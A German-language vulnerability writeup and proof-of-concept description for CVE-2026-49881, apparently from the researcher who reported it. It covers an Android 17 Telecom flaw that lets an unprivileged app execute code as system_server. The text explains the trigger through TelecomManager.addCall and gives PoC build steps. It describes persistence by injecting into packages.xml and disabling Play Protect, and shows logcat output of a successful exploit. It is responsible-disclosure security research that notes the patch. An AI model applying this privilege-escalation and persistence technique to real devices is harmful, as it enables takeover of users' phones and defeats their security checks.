
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
Dies ist ein PoC und ein Writeup für CVE-2026-49881, ein Logikproblem in der Klasse InCallController im Telecom-Dienst von Android 17, das es einer nicht privilegierten App ermöglicht, beliebigen Code als UID 1000 system_server ohne zusätzliche Benutzerinteraktion auszuführen. Wir zeigen hier außerdem, dass die Codeausführung in system_server auch in modernen Android-Versionen noch leicht für Persistenz angepasst werden kann.
Ich habe diese Schwachstelle am 2026-04-10 an das Android Security Team gemeldet, sie wurde am 2026-05-06 bestätigt und im September-2026-Android-Sicherheitsbulletin behoben. (Patch hier)
Zum Zeitpunkt der Meldung betraf sie meines Wissens nur aktiv Pixel-Builds ab Android 16 QPR3 (zusammen mit 17-Beta-Builds), später fand sie jedoch ihren Weg in das stabile AOSP-Release von Android 17.
Um sich vor diesem Problem zu schützen, stellen Sie sicher, dass Sie sowohl das Google-Play-Systemupdate als auch den Systemsicherheitspatch installieren. (Telecom ist seit Android 17 eine Mainline-Komponente)
system_server mithilfe der Schwachstelle, protokolliert id und Stack-Trace in logcat und installiert sich selbst als system_server-Komponente neu.build.sh ausführen. Alternativ können Sie manuell ./gradlew assembleSystemRelease ausführen, die resultierende app-system-release.apk nach app/src/poc/assets/system.apk verschieben und dann ./gradlew assemblePocRelease ausführen.system_server gelangt ist, auch Play Protect deaktiviert, indem er package_verifier_user_consent in Settings.Global auf -1 setzt, da dies manchmal die Neuinstallations-Transaktion aufgrund unbekannter Signaturen abfangen kann. Sie sollten dies nach dem Testen in den Einstellungen wieder aktivieren.system_server-Phase könnte eine gewisse OEM-spezifische Anpassung erfordern, da sie auf dem Durchlaufen der PMS-Struktur mithilfe von Symbolen basiert, die OEMs manchmal ändern.Die erwartete PoC-logcat-Ausgabe ist:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
Dies ist eine ungewöhnlich direkte Schwachstelle. Immer wenn bestimmte Telecom-bezogene Aktionen stattfinden, versucht InCallController, verfügbare Dienste über getInCallServiceComponents zu entdecken. Dies geschieht natürlicherweise, wenn ein Anruf beim System registriert wird, aber eine App kann es dank der transaktionalen Anruf-API TelecomManager.addCall tatsächlich auch auf Abruf auslösen. (Hinweis: Das nutzt die Schaltfläche „Start Exploit“ im PoC) Diese API benötigt MANAGE_OWN_CALLS, aber das ist eine normale und für den Benutzer unsichtbare Berechtigung, die bei der Installation automatisch gewährt wird.
Diese Aufzählung ist in den verwundbaren Versionen wie folgt implementiert:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;